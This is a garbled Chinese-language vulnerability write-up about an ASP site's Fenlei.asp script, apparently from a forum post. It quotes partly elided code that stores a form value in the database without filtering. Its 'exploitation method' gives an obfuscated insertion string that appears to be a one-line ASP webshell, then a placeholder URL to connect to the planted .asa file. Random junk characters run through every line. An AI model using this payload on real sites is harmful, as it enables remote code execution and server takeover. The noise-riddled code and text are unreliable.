'Fenlei.asp
; z: u% }# c- O+ [& p; r3 z, L* T( c0 F0 @; F
IF Request.QueryString("Action")="del" Then
# z G- y( j9 b/ {( ]; }ID=Request.QueryString("ID") : [3 Y6 p7 [0 W! T9 ~* L
IF Countss ("tui","Fenlei",ID )<>0 then + w7 n- e7 E$ [7 U
'略 5 B9 X" m4 ?& m) n) f- ?7 r0 n
IF Request.QueryString("Action")="Add" Then
4 Q7 T3 q% m+ Z; L+ \4 A! MTname=Request.Form("Typename") ( g; y( }4 R( h/ p2 X
Set Rs=Server.CreateObject("adodb.Recordset")
1 S" l+ _8 N) Q4 `& _Sql="Select * From Fenlei Order by id Desc " 1 \( X- l/ t O$ h9 t- l
Rs.Open Sql,Conn,1,3
6 v( I6 Q0 B$ j! GRs.Addnew
) g- Z) e8 w' b9 t1 |, ]' ?Rs("Typename")=Tname
& `5 c9 y) \2 {% X'略 1 ^- J0 p6 _: r9 u$ k# K3 C, J' R1 b
Set Rs=Server.CreateObject("adodb.Recordset") ) k! n+ o* I [8 O+ k
Sql="Select * From Fenlei Order by id Desc " : }3 e, c4 F3 X2 Y; [5 ]' Y z7 Z/ l
Rs.Open Sql,Conn,1,1
4 N2 _9 M: _6 V4 z+ `9 |. X'略
5 P$ `, r( I2 s$ V, [%>9 h$ A1 H1 B0 g- {0 n- W6 H$ I& A
+ N8 B: W+ {7 P- b ! K+ q( b& G% u7 v: o* j# I
' G# G2 k6 H; N! G9 t
没有过滤,直接写入数据库。! n- w, d5 K6 b. f; G& `: A
* f+ f; ^; w4 u% X利用方法:! K0 o A$ |4 A9 j% c
5 Z; v+ F* y9 E" c1 n- v" k3 k: T" i插入:┼攠數畣整爠煥敵瑳∨≡┩>0 ~ z6 L$ r- @4 P6 o
3 p! g& r5 J* o4 I j) }
: q+ V/ G: r6 ^9 U. i连接: http://www.xxx.com/###tongbaner.asa ; p! S" J& a) G/ F: ~* t# m1 S
'默认安装文件: ' c& C I% M/ D% u0 d4 C, P
'install.asp
5 _: `- w) z; _0 n2 E$ j* f, R |